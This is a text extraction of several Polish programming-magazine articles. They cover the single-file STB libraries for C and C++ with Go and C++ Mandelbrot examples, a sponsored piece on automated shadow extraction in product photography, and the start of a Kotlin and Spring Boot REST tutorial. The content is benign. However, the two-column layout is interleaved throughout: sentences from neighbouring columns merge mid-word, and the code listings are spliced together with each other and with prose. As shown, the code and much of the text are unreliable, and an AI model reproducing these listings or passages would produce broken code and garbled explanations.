języka... 35-letni balast wstecznej kompatybilności oraz szereg mniej- szy rzut oka szalona: aby diametralnie uprościć proces dystrybucji,
szych i większych błędów projektowych przekłada się na bardzo deploymentu oraz budowania, umieśćmy całą bibliotekę w jednym
wysoką złożoność tego języka. Jest to niewątpliwie czynnik, który pliku nagłówkowym. Parafrazując tytuł znanej książki biograficznej,
odstrasza od C++ młodszych adeptów inżynierii oprogramowania. aż chce się wykrzyknąć: Pan raczy żartować, panie Barrett? Kiedy jed-
W pozyskiwaniu nowych sympatyków nie pomaga również brak nak opadną emocje i zastanowimy się na spokojnie, to pomysł oka-
standaryzowanych narzędzi do budowania projektów czy zarzą- zuje się być genialny w swej prostocie. To jest właśnie ten, wspomnia-
dzania zależnościami i generalnie bardzo niejednolity ekosystem ny przez Alana Perlisa, rodzaj geniuszu, który usuwa złożoność.
rozwiązań wspomagających proces wytwarzania oprogramowania. Ktoś kiedyś powiedział, że genialny pomysł bez realizacji i wdro-
W efekcie wielu programistów wybiera bardziej nowoczesne alterna- żenia wart jest funta kłaków. Jest w tym sporo prawdy. Na szczęście
tywy w postaci języków pokroju Rust, Go, Zig, lub po prostu wra- Sean T. Barrett nie poprzestał na samym pomyśle, ale w elegancki
ca do kodowania w czystym C. Z drugiej jednak strony C++ oferuje i pragmatyczny sposób go zrealizował oraz spopularyzował. W efek-
szereg potężnych mechanizmów abstrakcji pozwalających ze stosun- cie powstały biblioteki STB (ich nazwa, jak zapewne łatwo się domy-
kowo niskim (lub wręcz zerowym) narzutem ujarzmić surową moc ślić, pochodzi od inicjałów autora). Przekonajmy się, na czym polega
drzemiącą w języku C, zachowując przy tym względne bezpieczeń- ich fenomen.
stwo. W zakresie dostępności bibliotek język ten również bije na gło-
wę całą konkurencję. To samo tyczy się przenośności. W tym przy-
BIBLIOTEKI STB: WPROWADZENIE
padku chyba tylko język C może poszczycić się lepszymi wynikami…
W świetle tego, co opisałem w powyższym akapicie, największą STB to zbiór bibliotek stworzonych przez Seana T. Barretta, zbudo-
bolączką nowoczesnego języka C++ wydaje się być kwestia redukcji wanych tak, aby maksymalnie uprościć proces ich dystrybucji, de-
złożoności. Biblioteki STB (oraz ich pochodne) są bardzo ciekawym ploymentu oraz budowania. Każda taka biblioteka jest umieszczo-
przykładem rozwiązania mającego na celu redukcję złożoności przy na w pojedynczym pliku nagłówkowym. Pliki te skonstruowane są
wytwarzaniu oprogramowania w oparciu o języki C i C++. w taki sposób, że zawierają zarówno część deklaracyjną biblioteki
(tj. tę część kodu, którą tradycyjnie umieszcza się w plikach nagłów-

PAN RACZY ŻARTOWAĆ, PANIE kowych), jak i implementację (czyli kod, który domyślnie umieszcza
się w plikach cpp). Implementacja ta jednak nie jest domyślnie kom-
BARRETT? pilowana po dołączeniu pliku nagłówkowego danej biblioteki. Korzy-
Jest takie mądre powiedzenie autorstwa Alana Perlisa: stając z wybranego komponentu STB, musisz wybrać jeden (i tylko
Głupcy ignorują złożoność. Pragmatycy żyją z nią. Niektórzy umie- jeden) plik źródłowy w twoim projekcie, w którym dołączona będzie
ją jej uniknąć. Geniusze ją usuwają. jego implementacja. W tym pliku należy zdefiniować odpowiednie
Twórcę bibliotek STB, Seana T. Barretta, śmiało można nazwać makro (wskazane w dokumentacji biblioteki), którego obecność
geniuszem pragmatyzmu. To właśnie w umyśle tego człowieka (no- sprawi, że zadzieje się to automatycznie. Na przykład, aby skorzystać
tabene weterana gamedevu, współtwórcy wielu znamy gier, między z biblioteki stb_image.h, musisz zapewnić, że jeden (tylko jeden!)
innymi „Thief ” oraz „System Shock 2”) zrodził się pomysł na to, jak z plików źródłowych w twoim projekcie dołączy nagłówek tej biblio-
zredukować złożoność procesu zarządzanie zależnościami (przez za- teki w następujący sposób:
leżności rozumiem tutaj zewnętrzne biblioteki) w dużych projektach
#define STB_IMAGE_IMPLEMENTATION
budowanych w języku C++. Wyobraź sobie, że tworzysz projekt, któ- #include "stb_image.h"
ry korzysta z szeregu innych bibliotek (co w praktyce jest na porząd-
ku dziennym). W takim przypadku musisz zmierzyć się z szeregiem I to w zasadzie tyle, jeśli chodzi o podstawową instrukcję obsługi.
problemów, aby zapewnić, że biblioteki te będą w poprawny sposób Oczywiście biblioteki STB oferują sporo opcji konfiguracji (np. za po-
zintegrowane z twoim projektem. C++ nie oferuje standardowego mocą makrodefinicji). W kolejnym akapicie omówię bardziej szcze-
narzędzia, które pomoże ci w zarządzaniu tymi zależnościami. Oczy- gółowo konkretny przykład użycia wybranych bibliotek STB.

<12> { 4 / 2021 < 98 > }


BIBLIOTEKI I NARZĘDZIA

BIBLIOTEKI STB: PRZYKŁAD UŻYCIA {


BytesPerPixel = 4,
ChannelCount = 4
Podejrzewam, że każdy programista C++ ma w swoim podręcznym };

arsenale zestaw komponentów uzupełniających braki w bibliotece public:


Image(int width, int height);
standardowej. Mnie osobiście w standardzie zawsze mocno brako- explicit Image(const char* filename,
wało biblioteki do obsługi obrazów. Z pewną dozą zazdrości patrzy- int& error);
~Image();
łem na języki Go czy Rust, gdzie obsługa obrazków jest dostępna
public:
w „pakiecie podstawowym”. Dla przykładu, użytkownik języka Go int Width() const
może prosto i szybko napisać program generujący obrazek z wizuali- { return width_; }
int Height() const
zacją fragmentu zbioru Mandelbrota (Listing 1), korzystając jedynie { return height_; }
z udogodnień biblioteki standardowej. void Clear(int r=0, int g=0, int b=0,
int a=255);
Listing 1. Wizualizacja fragmentu zbioru Mandelbrota w języku Go void Clear(const Color& color);

package main Color Pixel(int x, int y) const;


void SetPixel(int x, int y,
import ( int r, int g, int b,
"image" int a=255);
"image/color" void SetPixel(int x, int y,
"image/png" const Color& color);
"math/cmplx"
"os" public:
) int Load(const char* filename);
int Save(const char* filename) const;
func main() {
const ( private:
xmin, ymin, xmax, ymax = -2, -2, +2, +2 void Create(int width, int height);
width, height = 1024, 1024 void Destroy();
) int Offset(int x, int y) const;

img := image.NewRGBA(image.Rect(0, 0, width, height)) private:


for py := 0; py < height; py++ { uint8_t* pixelData_;
y := float64(py)/height*(ymax-ymin) + ymin int width_;
for px := 0; px < width; px++ { int height_;
x := float64(px)/width*(xmax-xmin) + xmin };
z := complex(x, y)
EZ_DEF_PTR_TYPES(Image);
img.Set(px, py, mandelbrot(z))
}
}
} #endif
png.Encode(os.Stdout, img)
}
Listing 3. Zawartość pliku ez_image.cpp
func mandelbrot(z complex128) color.Color {
const iterations = 200 #include "ez_image.h"
const contrast = 15
var v complex128 #define STB_IMAGE_IMPLEMENTATION
for n := uint8(0); n < iterations; n++ { #include "stb_image.h"
v = v*v + z #define STB_IMAGE_WRITE_IMPLEMENTATION
if cmplx.Abs(v) > 2 { #include "stb_image_write.h"
return color.Gray{255 - contrast*n}
} using namespace ez;
} using namespace std;
return color.Black
} namespace ez

{
Image::Image(int width, int height)
: pixelData_(nullptr)
W ramach poglądowego przykładu użycia wybranych bibliotek STB , width_(0)
chciałbym zaprezentować fragment implementacji klasy Image z bi- , height_(0)
{
blioteki zawierającej zbiór komponentów uzupełniających w stosunku Create(width, height);
do biblioteki standardowej, wykorzystywanych w moich prywatnych }

projektach. Implementacja ta przedstawiona jest w Listingach 2 i 3. Image::Image(const char* filename,


int& error)
: pixelData_(nullptr)
Listing 2. Zawartość pliku ez_image.h
, width_(0)
, height_(0)
#ifndef EZ_IMAGE_H
{
#define EZ_IMAGE_H
error = Load(filename);
#include "ez_color.h" }
#include "ez_common.h"
Image::~Image()
namespace ez {
{ Destroy();
class Image : private Noncopyable }
{
void Image::Clear(int r, int g, int b, int a)
public:
{
enum
int pixelCount = width_ * height_;

<14> { 4 / 2021 < 98 > }


/ STB: jednoplikowe, otwarte biblioteki dla języków C i C++ /

uint8_t* pixelData = pixelData_; return Ok;


}
while(pixelCount--)
{ int Image::Save(const char* filename) const
*pixelData++ = r; {
*pixelData++ = g; EZ_ENFORCE(filename != nullptr);
*pixelData++ = b;
*pixelData++ = a; const int error =
} stbi_write_png(filename, width_, height_, 4,
} pixelData_,
width_ * BytesPerPixel);
void Image::Clear(const ez::Color& color)
{ return (error == 0)
Clear(color.R(), ? Error_ImageSavingFailed
color.G(), : Ok;
color.B(), }
color.A());
void Image::Create(int width, int height)
}
{
Color Image::Pixel(int x, int y) const EZ_ENFORCE(width > 0);
{ EZ_ENFORCE(height > 0);
EZ_ENFORCE((x >= 0) && (y >= 0) &&
EZ_ASSERT(pixelData_ == nullptr);
(x < width_) && (y < height_));
pixelData_ = new uint8_t[
const uint8_t* const colorData =
width * height * BytesPerPixel];
pixelData_ + (x + width_ * y) * BytesPerPixel;
width_ = width;
return ez::Color(colorData[0], height_ = height;
colorData[1], }
colorData[2],
void Image::Destroy()
colorData[3]);
{
}
stbi_image_free(pixelData_);
void Image::SetPixel(int x, int y,
pixelData_ = nullptr;
int r, int g, int b, int a)
}
{
EZ_ENFORCE((x >= 0) && (y >= 0) && int Image::Offset(int x, int y) const
(x < width_) && (y < height_)); {
return y * width_ + x;
uint8_t* const colorData =
}
pixelData_ + (x + width_ * y) * BytesPerPixel;
}
colorData[0] = r;
colorData[1] = g;
colorData[2] = b; Klasa ez::Image, której definicja oraz implementacja przedstawiona
colorData[3] = a;
} jest w tych dwóch listingach, reprezentuje obraz. Zawartość obrazu
void Image::SetPixel(int x, int y, const Color& color)
można wczytać z dysku oraz zapisać na dysk. Klasa oferuje też me-
{ tody pozwalające odczytać i zmodyfikować zawartość poszczegól-
SetPixel(x, y,
color.R(),
nych pikseli. Komponent ez::Image korzysta z dwóch bibliotek STB:
color.G(), stb_image.h oraz stb_image_write.h. Pierwsza z nich oferuje zestaw
color.B(),
color.A()); prostych funkcji służących do wczytywania obrazów. Druga pozwala
} dodatkowo zapisywać zmodyfikowane obrazy na dysk.
int Image::Load(const char* filename) Zgodnie z instrukcją korzystania z bibliotek STB obydwa wymie-
{
EZ_ENFORCE(filename != nullptr); nione wyżej nagłówki dołączamy w pliku ez_image.cpp, poprzedzając
je odpowiednimi makrodefinicjami: STB_IMAGE_IMPLEMENTATION
int width = 0;
int height = 0; oraz STB_IMAGE_WRITE_IMPLEMENTATION. Kluczowy fragment kodu
int actualChannelCount = 0;
const int desiredChannelCount =
wykorzystujący funkcjonalność biblioteki STB znajduje się w meto-
ChannelCount; dzie Image::Load():
unique_ptr<uint8_t, void(*)(uint8_t*)> pixelData(
(uint8_t*)stbi_load(filename, &width, &height, unique_ptr<uint8_t, void(*)(uint8_t*)> pixelData(
&actualChannelCount, (uint8_t*)stbi_load(filename, &width, &height,
desiredChannelCount), &actualChannelCount,
[](uint8_t* data) { stbi_image_free(data); }); desiredChannelCount),
[](uint8_t* data) { stbi_image_free(data); });
if((pixelData == nullptr) ||
(actualChannelCount != desiredChannelCount))
return Error_ImageLoadingFailed; Kod ten odpowiada za wczytanie obrazu w odpowiednim formacie
EZ_ASSERT(pixelData != nullptr); (klasa ez::Image obsługuje obrazki w formacie RGBA). Analogiczne
EZ_ASSERT(width > 0); wywołanie znajduje się w metodzie Image::Save():
EZ_ASSERT(height > 0);
EZ_ASSERT(actualChannelCount ==
desiredChannelCount); const int error =
stbi_write_png(filename, width_, height_, 4,
Destroy(); pixelData_,
width_ * BytesPerPixel);
pixelData_ = pixelData.release();
width_ = width;
height_ = height;

{ WWW.PROGRAMISTAMAG.PL } <15>
BIBLIOTEKI I NARZĘDZIA

Tym razem odpowiada ono za zapis obrazu na dysku w formacie }


PNG. Widać tutaj dobitnie, że biblioteki STB oferują prosty, prze- return Color::Black;
}
nośny interfejs w postaci funkcji zgodnych z językiem C. Mając do
dyspozycji komponent ez::Image, możemy łatwo i szybko zaimple- int main()
{
mentować program służący do wizualizacji fragmentów zbioru Man- constexpr auto xmin=-2, ymin=-2,
delbrota, analogiczny do tego, który przedstawiony jest w Listingu 1. xmax=2, ymax=2;
constexpr auto width=1024,
Program ten może wyglądać tak jak pokazano w Listingu 4. height=1024;

ImagePtr image{make_unique<Image>(
Listing 4. Wizualizacja fragmentu zbioru Mandelbrota w języku C++
width, height)};
#include <complex> for(int py=0; py<height; ++py)
#include <memory> {
auto y=double(py)/
#include "ez_image.h"
height*(ymax-ymin)+ymin;
using namespace ez;
for(int px=0; px<width; ++px)
using namespace std;
{
Color mandelbrot(const complex<double>& z) auto x=double(px)/
width*(xmax-xmin)+xmin;
{ complex<double> z(x, y);
constexpr auto iterations = 200U; image->SetPixel(px, py, mandelbrot(z));
constexpr auto contrast = 15; }
}
complex<double> v(0, 0);
image->Save("mandelbrot.png");
for(auto n=0U; n<iterations; ++n) }
{
v = v*v + z;
if(abs(v) > 2) Efekt działania tego programu pokazany jest na Rysunku 1.
{
const uint8_t c = 255U - contrast*n;
return Color(c, c, c);
}

Rysunek 1. Wizualizacja fragmentu zbioru Mandelbrota wygenerowana przez program z Listingu 4

<16> { 4 / 2021 < 98 > }


/ STB: jednoplikowe, otwarte biblioteki dla języków C i C++ /

BIBLIOTEKI STB: PRZEGLĄD W kategorii matematyka dostępna jest jedna biblioteka:


» stb_divide.h: przydatne operacje matematyczne na wartościach
Jak wspomniałem wyżej, STB to zbiór bibliotek. W poprzednim aka- 32-bitowych.
picie pokazałem, jak z praktycznego punktu widzenia wygląda praca
z wybranymi bibliotekami z tego zbioru. W tej części artykułu spoj- W kategorii użytki dostępne są dwie biblioteki:
rzymy bardziej przekrojowo na całość. » stb_ds.h: implementacja dynamicznej tablicy oraz tablicy
Zestaw STB składa się z dwudziestu dwóch bibliotek (dostępnych haszującej,
w repozytorium Git umieszczonym pod adresem https://github.com/ » stb_sprintf.h: implementacja szybkich funkcji sprintf() oraz
nothings/stb) podzielonych na 9 kategorii: snprintf().
» dźwięk,
» grafika, W kategorii interfejs użytkownika dostępna jest jedna biblioteka:
» grafika 3D, » stb_textedit.h: silnik prostego edytora tekstu do wykorzystania
» programowanie gier, w grach lub programach narzędziowych.
» matematyka,
» użytki, W kategorii parsowanie dostępna jest jedna biblioteka:
» interfejs użytkownika, » stb_c_lexer.h: narzędzia ułatwiające pisanie parserów dla języ-
» parsowanie, ków C-podobnych.
» różne.
W kategorii różne dostępne są cztery biblioteki:
W kategorii dźwięk dostępne są dwie biblioteki: » stb_connected_components.h: algorytm inkrementacyjnego spraw-
» stb_vorbis.c: dekoder plików Ogg Vorbis, dzania połączeń na siatce 2D,
» stb_hexwave.h: generator dźwięku. » stb_leakcheck.h: mechanizm do wykrywania luk w zasobach
alokowanych za pomocą funkcji malloc(),
W kategorii grafika dostępnych jest pięć bibliotek: » stb_include.h: implementacja rekurencyjnego łączenia plików
» stb_image.h: dekoder/loader obrazów w formatach JPG, PNG, za pomocą dyrektywy #include.
TGA, BMP, PSD, GIF, HDR oraz PIC, » stb.h: zbiór pomocniczych funkcji dla programistów języka C.
» stb_truetype.h: parser, dekoder i rasteryzer znaków dla fontów
w formacie truetype, Warto w tym miejscu nadmienić, że wszystkie wymienione wyżej bi-
» stb_image_write.h: komponent umożliwiający zapisywanie ob- blioteki dostępne są w ramach dualnej licencji: public domain oraz
razów w formatach PNG, TGA oraz BMP, MIT. Nic, tylko brać i używać!
» stb_image_resize.h: komponent umożliwiający generowanie po-
mniejszonych lub powiększonych wersji obrazów,
WIERZCHOŁEK GÓRY LODOWEJ
» stb_rect_pack.h: prosty i efektywny algorytm pakowania
prostokątów. Z całym szacunkiem dla pana Barretta, gdyby temat STB kończył się
na opisanym wyżej zbiorze komponentów, to zapewne nie napisał-
W kategorii grafika 3D dostępne są cztery biblioteki: bym niniejszego artykułu. Po prostu rozmyłyby się one w oceanie
» stb_voxel_render.h: silnik pozwalający renderować sceny 3D zło- kodu dostępnego w sieci… Na szczęście tak się nie stało i z korzyścią
żone z kwadratowych bloków, na podobieństwo gry „Minecraft”, dla nas repozytorium https://github.com/nothings/stb stanowi wierz-
» stb_dxt.h: kompresor DTX działający w czasie rzeczywistym, chołek góry lodowej. W ślad za oryginałem powstał szereg bibliotek-
» stb_perlin.h: generator szumu Perlina, -naśladowców zbudowanych na podobnej zasadzie. Lista najbardziej
» stb_easy_font.h: prosty renderer fontów bitmapowych. znanych bibliotek STB-podobnych jest utrzymywana pod adresem
https://github.com/nothings/single_file_libs. Można tam znaleźć wie-
W kategorii programowanie gier dostępne są dwie biblioteki: le perełek. Poza tym, kto wie… może ty będziesz autorem kolejnej
» stb_tilemap_editor.h: edytor map kafelków zaprojektowany z my- znanej biblioteki w stylu STB? Tak czy inaczej, gorąco zachęcam do
ślą o łatwym osadzaniu w aplikacjach, wypróbowania opisanych wyżej komponentów. Dzięki nim praca
» stb_herringbone_wang_tile.h: generator map kafelków za po- z językiem C++ staje się o wiele łatwiejsza i przyjemniejsza!
mocą techniki Herringbone Wang.

RAFAŁ KO CISZ
rafal.kocisz@gmail.com
Od prawie dwudziestu lat pracuje w branży związanej z produkcją oprogramowania. Aktualnie zatrudniony w roli Kierownika
Portfela Projektów w firmie intive.

{ WWW.PROGRAMISTAMAG.PL } <17>
Algorytm ekstrakcji naturalnego cienia – nowe
osiągnięcia automatyzacji fotografii produktowej
Procesy analizy i przetwarzania obrazów towarzyszą nam dziś na każdym kroku, chociaż czę-
sto nie zdajemy sobie z tego sprawy. Jazda samochodem, badanie diagnostyczne u lekarza
czy uruchomienie komórki zerknięciem w ekran to setki obliczeń na milisekundę. Obecnie to
samo dotyczy fotografii.

POTENCJAŁ AUTOMATYZACJI CIEŃ W ŚWIETLE NASZYCH BADAŃ


Jeszcze 20 lat temu obróbka zdjęć odbywała się w ciemni. Mieszanie Podejmując działania badawczo-rozwojowe, największą inspiracją
odczynników, gra czasem i temperaturą wywoływania filmu miała jest dla nas informacja zwrotna od użytkowników, dlatego w ostat-
wpłynąć na kontrast, ziarnistość albo zwiększyć czułość. Przygotowu- nich miesiącach skupiliśmy się na algorytmie ekstrakcji cienia. Cień
jąc odbitki, też można było osiągnąć magiczne efekty poprzez blen- jest bowiem naturalnym zjawiskiem w otaczającym nas świecie, to-
dowanie różnych zdjęć i selektywne wysłanianie fragmentów obrazu. warzyszy każdemu przedmiotowi, budowli, człowiekowi. Wspie-
Obecnie wszystkie te procesy osiągamy cyfrowo, korzystając z mniej ra percepcję wzrokową i pomaga odnaleźć się w trójwymiarowym
lub bardziej zaawansowanych programów graficznych. Technologia świecie. Obecny na fotografii spełnia podobne funkcje – umożliwia
ma służyć człowiekowi, a fotografia produktowa to chyba najbardziej umiejscowienie produktu w przestrzeni i gwarantuje lepszy odbiór
(nomen omen) obrazowy przykład pracy algorytmów. Ale czy to już zdjęcia. Algorytmiczna ekstrakcja naturalnego cienia ponownie wią-
wszystko? Pokuszę się o stwierdzenie, że współczesny schemat pracy zała się z wieloma wyzwaniami developerskimi. Do najważniejszych
studia cyfrowego znów zaczyna być przestarzały, uciążliwy i czaso- należały: a) praca na obrazach o rozdzielczości 50 megapikseli (wy-
chłonny, jak niegdyś ciemnia. Stanowi wąskie gardło dla produk- móg rynku) b) różnorodność rysunków cienia zależnie od produktu
tywności/efektywności. Jako fotograf i właściciel studia już dawno i kąta natarcia aparatu c) zanikanie cienia na stosowanym dotychczas
„dojrzałam” do nowej ery w fotografii i dalszego eliminowania ruty- seryjnie transparentnym podłożu oraz d) ograniczona przestrzeń we-
nowych czynności. Potencjał do automatyzacji procesów wydaje się wnątrz urządzenia – Rysunek 2.
być nieskończony, więc warto spojrzeć na temat nieco szerzej. Z uwagi na duży wpływ charakterystyki produktu na rysunek
W firmie MODE S.A. od kilku lat prowadzimy prace badawcze cienia należało zacząć od odpowiedniej bazy produktów. Stworzono
i rozwojowe, których celem jest usprawnienie procesów tworze- adnotacje dotyczące wysokości, kształtu, barwy, stopnia przezro-
nia fotografii użytkowej. Ta wciąż pozostaje skutecznym nośnikiem czystości, przylegania/odstawania od platformy. W drodze analizy
informacji o towarach i usługach. Rosnąca konkurencja (dotyczy setek obrazów testowych zdecydowaliśmy się wbudować do urzą-
przede wszystkim sprzedaży w sieci) narzuciła wysokie standardy dzenia specjalnie opracowane źródło światła generujące cień zgodny
techniczne i estetyczne dla zdjęć produktowych. Mierząc się z wie- z oczekiwaniami. W drugim etapie prac przygotowano rozbudowane
loma wyzwaniami inżynierskimi i programistycznymi, zaprojekto- środowisko developerskie (LAMP, GIT, IDE, framework itp). Opra-
waliśmy kompaktowe studia fotograficzne, które pozwalają sprostać cowano i zaimplementowano struktury bazy danych uwzględniające
tym wymaganiom. Urządzenia marki MODE360° takie jak Jumbo specyfikę produktów wzorcowych, rozdzielczość fotografii, a tak-
(Rysunek 1) umożliwiają poprawne oświetlenie produktu, uzyskanie że parametry konfiguracyjne zadań testowych. Specjalnie napisana
bieli tła na poziomie 255, 255, 255 i stuprocentowej ostrości nawet aplikacja zautomatyzowała akwizycję zdjęć i budowę bazy z użyciem
dla produktów w skali macro przy jednoczesnym zachowaniu mak- nowej lampy do cienia. Ponieważ nie istnieją publicznie dostępne
symalnej dostępnej rozdzielczości zdjęcia 50 megapikseli. bazy danych, które odpowiadałyby warunkom pracy naszych ma-
Do obsługi aparatów wykorzystujemy pakiet narzędzi Canon SDK szyn, stworzenie własnych zbiorów zdjęć oraz dedykowanych ad-
dla developerów, który oferuje nam szereg rozwiązań, m.in. zdalne notacji było niezbędne do prawidłowego przeprowadzenia badań.
operowanie rejestratorami obrazu i obiektywami oraz integrowanie ich Część zdjęć składających się na właściwą bazę fotograficzną podle-
w ramach naszej autorskiej aplikacji MODEViD. Do przetwarzania ob- gała dalszemu opracowaniu. Wykonano ponad 1200 masek wzorco-
razów wykorzystujemy biblioteki OpenCV1 oraz autorskie algorytmy. wych (Ground Truth – GT) dla cienia. W ten sposób pozyskaliśmy
Te ostatnie, co znamienne dla naszych koncepcji, pracują na seriach materiał umożliwiający automatyczną ocenę skuteczności algorytmu.
zdjęć (tzw. presetach). Sterując optyką, osiągamy efekty, na które nie Owa skuteczność miała polegać na zbliżonej pracy wynikowej algo-
pozwoliłaby fizyka (np. poszerzenie głębi ostrości), a mając pod stałą rytmu do GT, co było mierzone protokołem DICE.
kontrolą model świecenia, z łatwością eksponujemy cechy zdjęć nie- Korzystając z dostępnej literatury do laboratoryjnego środowiska
zbędne do skutecznej i dokładnej pracy algorytmów. bazodanowo-testowego, zaimplementowano 3 różne metody ekstrak-
cji cienia: A, B, C (Rysunek 3). Metoda A to detekcja cienia w oparciu
1. „OpenCV. Śledzenie obiektów z wykorzystaniem dopasowania szablonów”, gdzie poruszany jest o zalety obrazu i klasyfikację z wykorzystaniem niezależnych modeli
temat tworzenia projektu z wykorzystaniem biblioteki OpenCV oraz języka Python. Artykuł pocho-
dzi z magazynu Programista 76 (9/2018)

<18> { 3 / 2021 < 97 > }


Rysunek 1. Jumbo – studio kompaktowe do zautomatyzowanej fotografii

Rysunek 2. Autorska lampa do generowania najbardziej pożądanej maski cienia

kolorów2. Ograniczeniem jest rodzaj powierzchni, na którą rzucany statystyczne i kolorystyczne w celu prawidłowego segmentowania
jest cień – musi być ona pozbawiona tekstur, natomiast światło musi obszaru cienia. Przykładowe deskryptory obrazu: jasność obrazu,
być pojedyncze i mocne. W metodzie B detekcja cienia odbywa się na histogram koloru, histogram zorientowanych gradientów (HOG), hi-
podstawie ekstrakcji cech – deskryptorów obrazu i uczenia maszyno- stogram lokalnych wzorców binarnych (LBP), histogram lokalnych
wego3 z wykorzystaniem maszyny wektorów nośnych (SVM) wyma- wzorców trójskładnikowych (LTP). Metoda wymaga sprecyzowanej
gających ekstrakcji cech. Funkcje obejmują funkcje geometryczne, i dużej bazy treningowej, co czyni ją bardzo czasochłonną. Światło
może być niejednorodne.
2. Elena Salvador, Andrea Cavallaro, and Touradj Ebrahimi. „Shadow identication and classication Metodą C nazwaliśmy autorski algorytm ekstrakcji cienia, któ-
using invariant color models”. In IEEE International Conference on ,Acoustics, Speech, and Signal
Processing. (ICASSP’01)., pages 1545-1548, 2001. https://infoscience.epfl.ch/record/86804/files/Salva- ry w pełni wykorzystuje zalety konstrukcyjne urządzenia Jumbo
dor2001_113.pdf
3. Arjan Gijsenij and Theo Gevers. „Shadow edge detection using geometric and photometric featu-
MODE360°. Został on opracowany na bazie zdobytego doświadczenia
res”. In 16th IEEE International Conference on Image Processing (ICIP), 2009, pages 693-696. IEEE, 2009. w czasie realizacji projektu. Nowa koncepcja dedykowana jest dla śro-
https://ivi.fnwi.uva.nl/isis/publications/2009/GijsenijICIP2009/GijsenijICIP2009.pdf, Jiejie Zhu, Kegan GG
Samuel, Syed Zain Masood, and Marshall F Tappen. „Learning to recognize shadows in monochro- dowiska wewnętrznego i charakteryzuje się ograniczeniem działania
matic natural images”. In IEEE Conference on Computer Vision and Pattern Recognition (CVPR), 2010,
pages 223{230. IEEE, 2010. http://www.cs.ucf.edu/~mtappen/pubs/cvpr10_shadow.pdf do maszyn o analogicznej konstrukcji z autorskim źródłem światła.

{ MATERIAŁ INFORMACYJNY } <19>


WYNIKI I OSTATNI SZLIF
Metody A i B okazały się mniej skuteczne.
Niska jakość detekcji i słabsza wydajność
(Rysunek 3) potwierdzają, że własna kon-
cepcja jest niedościgniona. Jak wspomina-
łam wcześniej, nasze algorytmy wykorzy-
stują serię zdjęć. Tak też jest w przypadku
ekstrakcji cienia, gdzie różne sposoby świe-
cenia (presety) eksponują konkretne zalety
zdjęcia. Po procesach segmentacji i blen-
dowania obrazów wszystkie elementy: tło,
produkt oraz cień można edytować osobno.
Dlatego w ostatniej fazie prac opracowano
algorytm postprodukcji cienia. Dzięki tej
funkcji użytkownik będzie mógł samodziel-
nie kształtować cień pod produktem zgodnie
z poczuciem własnej estetyki albo aktualnych
standardów. Edytowalne parametry cienia to
intensywność, stopień rozmycia, wielkość,
gradient kierunkowy, odległość od produktu.
Za duży sukces uważamy napisanie algo-
rytmu, który nie tylko generuje estetyczny
cień, ale pozwala tworzyć płynne prezenta-
cje sferyczne z jego użyciem.
W efekcie prac konstruktorskich i pro-
gramistycznych do Waszej dyspozycji prze-
kazujemy kompletne narzędzie – kompak-
towe studio wraz z oprogramowaniem.
Wygodę i nowatorski workflow. Zachęcam
do zeskanowania kodu QR. Kryje się pod
nim prezentacja sferyczna z automatycznie
pozyskanym cieniem. W całości powstała,
gdy wyskoczyłam do kafejki.

Zakup naszych urządzeń to inwestycja dłu-


gofalowa – odzyskanie czasu, który często
niepotrzebnie przecieka przez palce, gdy
brakuje właściwych narzędzi. W biznesie
czas to pieniądz. W życiu prywatnym, które
w naszym fachu często przenika się z zawo-
dowym, czas jest bezcenny. Tradycyjne me-
tody zostawmy pasjonatom i artystom. Rysunek 3. Wyniki badań skuteczności (DICE) każdej z zastosowanych metod oraz testy wydajności (w [s]).

<20> { 3 / 2021 < 97 > }


Rysunek 4. Finalne zdjęcie (packshot) wykonane przy użyciu algorytmu odcinania tła oraz odzyskiwania naturalnego cienia, bez manualnego retuszu

Dominika Zawodowo zajmuje się fotografią od 24 lat. Z firmą


MODE S.A. związana od 6 lat, gdzie jako starszy specjalista
Apanasewicz w dziale R&D automatyzuje procesy fotograficzne.

Publikacja współfinansowana ze środków Europejskiego Funduszu Rozwoju Regionalnego, w ramach


RPO Województwa Pomorskiego.
Tytuł projektu: „Opracowanie kompleksowego systemu do wykonywania zautomatyzowanych
prezentacji sferycznych oraz prezentacji 360° produktów, uwzględniającego autorskie algorytmy oraz
rozwiązania sprzętowe. Beneficjent: MODE S.A www.mode360.pl”.

{ MATERIAŁ INFORMACYJNY } <21>


PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Projektowanie usług w Kotlin i Spring Boot w pigułce


W tym artykule za pomocą narzędzia Spring Boot oraz języka Kotlin utworzymy prostą usługę
REST. Mam nadzieję, że zaprezentowana tu treść będzie przydatna zarówno dla początkują-
cych programistów, jak również i tych pracujących na co dzień z językiem Java czy Groovy.
Ze względu na mnogość poruszanych tu wątków niektóre zagadnienia zostaną omówione
fragmentarycznie.

D o artykułu udostępniono w pełni działający projekt (do po-


brania ze strony https://programistamag.pl/download/). Poniżej
przedstawię krok po kroku, jak taki projekt – podzielony na warstwy
com/idea/), jednak nie jest to wymóg, można bowiem skorzystać z do-
wolnego innego, jak np. Eclipse.
Tworzenie aplikacji zacznijmy od odwiedzenia strony https://start.
– stworzyć od podstaw. Mam nadzieję, że dzięki temu łatwiej będzie spring.io/, gdzie możemy w szybki i przejrzysty sposób wygenerować
wdrożyć się w omawianą tematykę. szkielet projektu. Wybierzmy opcje zaprezentowane na Rysunku 1.
Do pracy z projektem będziemy potrzebować środowiska. Reko-
menduję Intellij IDEA Community Edition (https://www.jetbrains.

Rysunek 1. Wybór parametrów projektu

<22> { 4 / 2021 < 98 > }


PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Rysunek 2. Wybór zależności projektu

Opis wybranych opcji: Ta wersja umożliwia nam wystartowanie naszej aplikacji z pomo-
» Gradle – projekt będzie bazował na tym narzędziu (https://docs. cą komendy java -jar article.jar. Nie ma potrzeby dodat-
gradle.org/current/userguide/userguide.html). Umożliwia ono za- kowego „instalowania” osobnego kontenera aplikacji.
rządzanie zależnościami (czyli bibliotekami) oraz poprawne wy- » JOOQ Access Layer – tej bibliotek będziemy używać do zapisy-
kreowanie (kompilacja kodu, testy, dodanie wszystkich niezbęd- wania i odczytywania danych z bazy. Innym popularnym roz-
nych plików itd.) pliku z rozszerzeniem jar, w którym będzie wiązaniem byłoby użycie implementacji JPA, np. Hibernate czy
spakowana cała nasza usługa. Co więcej, już na tym poziomie Eclipse Link. Zdecydowałem się jednak nie dokładać tej dodat-
będziemy używać Kotlina. kowej warstwy z racji na te osoby, które dopiero zaczynają two-
» Kotlin – nowoczesny język zyskujący coraz większą popularność ze rzenie usług. Pozostaniemy zatem na poziomie SQLa.
